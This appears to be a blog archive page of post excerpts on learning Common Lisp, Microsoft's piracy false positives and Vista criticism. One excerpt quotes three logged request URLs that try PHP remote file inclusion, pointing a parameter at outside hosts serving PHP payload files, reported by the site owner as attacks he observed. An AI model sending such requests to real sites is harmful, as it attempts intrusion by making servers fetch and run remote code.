After spending a week and a half studying both the PDF version of Seibel’s Practical Common Lisp and my copy of Graham’s ANSI Common Lisp (comparison coming soon), I coded up some algorithms for the next Project X prototype in the language yesterday.
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Oh, lovely. Microsoft falsely accuses twelve thousand people of piracy over the weekend, and considers it nothing but a “glitch.” If my company had a “glitch” like that, we’d likely be out of business come Monday. I hadn’t noticed the problem here, but that may have something to do with the fact that only two …
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My post last week on how a long-time C++ aficionado (me) finally accepted that Lisp is a better programming language got a lot of hits. And I do mean a lot of hits: over a three-day period, nearly eleven times as many people visited Geek Drivel (to see that entry) as had visited in the …
Teenagers apparently think that e-mail is only for us old fogies.
A major win for customer service! The customer may not always be right, but if you plan on keeping his business, you’d damn well better treat him with respect.
Over the past couple days, I’ve noticed three odd URLs in my web logs, from three different IP addresses, all using different versions of libwww-perl as the browser ID: /category//includes/global.php?nbs=http://nusay.webng.com/31337.txt??? /category//includes/auth.php?nbs=http://nusay.webng.com/31337.txt?? /category//includes/global.php?nbs=http://usuarios.arnet.com.ar/larry123/safe.txt? Curious, I checked out the “31337.txt” and “safe.txt” files… they were very similar, both consisting of near-identical PHP instructions that tried to get …
I’ve been using C and C++ for over twenty years now, and I’m very fluent in both of them. C++ has been my preferred language for pretty much any programming task for most of that time, and I haven’t seen any point to learning other programming languages because some of them are at best equivalent …
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Un-freakin’-believable.
JoelOnSoftware (an ex-Microsoft employee) posted an absolutely scathing commentary on Vista and Office 2007’s packaging yesterday, along with a devastating comment on Vista itself: I’ve been using Vista on my home laptop since it shipped, and can say with some conviction that nobody should be using it as their primary operating system — it simply …